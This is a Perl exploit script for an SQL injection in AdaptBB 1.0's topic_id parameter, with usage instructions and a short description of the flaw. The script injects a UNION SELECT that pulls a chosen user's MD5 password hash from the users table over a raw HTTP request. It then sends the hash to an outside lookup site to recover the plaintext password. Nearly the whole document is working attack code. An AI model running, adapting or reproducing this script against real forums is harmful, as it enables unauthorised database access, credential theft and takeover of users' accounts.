#!/usr/bin/perl -w
#
# AdaptBB 1.0 (topic_id) SQL Injection / Credentials Disclosure Exploit
#
# Description
# -----------
# AdaptBB contains a flaw that allows an attacker to carry out an SQL
# injection attack. The issue is due to the inc/bb/topic.php script not
# properly sanitizing user-supplied input to the 'topic_id' variable. This may
# allow an attacker to inject or manipulate SQL queries in the backend
# database if magic_quotes_gpc = off.
# -----------
# by Juri Gianni aka yeat - staker[at]hotmail[dot]it

use strict;
use LWP::Simple;
use IO::Socket;

our ($host,$path,$username) = @ARGV;

if (@ARGV != 3)
{
       print "\n+-----------------------------------------------------------------------+\n".
             "\r| AdaptBB 1.0 (topic_id) SQL Injection / Credentials Disclosure Exploit |\n".
             "\r+-----------------------------------------------------------------------+\n".
             "\rby yeat - staker[at]hotmail[dot]it\n".
             "\nUsage: perl $0 host /path/ username\n".
             "\nhost: localhost\n".
             "\rpath: /adaptbb/\n".
             "\rusername: target username\n";
       exit;
} 

if ($username =~ /(\w+)/i) {
   print "Victim: $username\n";
   exploit();
}  

sub exploit
{
       my ($packet,$html,$inject,$socket);
      
       $inject = "%27/**/UNION/**/SELECT/**/password,2,3,4,5,6,7,8,9,10/**/".
                 "FROM/**/adaptbb_users/**/WHERE/**/username='$username'%23";
      
       $socket = new IO::Socket::INET(
                                      PeerAddr => $host,
                                      PeerPort => 80,
                                      Proto    => 'tcp',
                                    ) or die $!;
                                       
                                         
      $packet .= "GET $path/index.php?do=topic&topic_id=$inject\r\n";
      $packet .= "Host: $host\r\n";
      $packet .= "User-Agent: Lynx (textmode)\r\n";
      $packet .= "Connection: close\r\n\r\n";
     
      $socket->send($packet);
     
      while (<$socket>) {
         $html .= $_;
      }         
     
      if ($html =~ /Re: ([a-f0-9]{32})"/i) {
         print "Exploit successful\nMD5: $1\n";
         print "Password Cracked: ".search_md5($1)."\n";
      }
      else {
         print "Exploit unsuccesful..\n";
      }     
}     
   

sub search_md5
{
     my $hash = shift @_;
     my $cont = undef;
    
     if ($hash =~ /^([a-f0-9]{32})$/i) {
        return get("http://md5.rednoize.com/?p&s=md5&q=$hash");
     }
     else {
        return 404;
     }     
}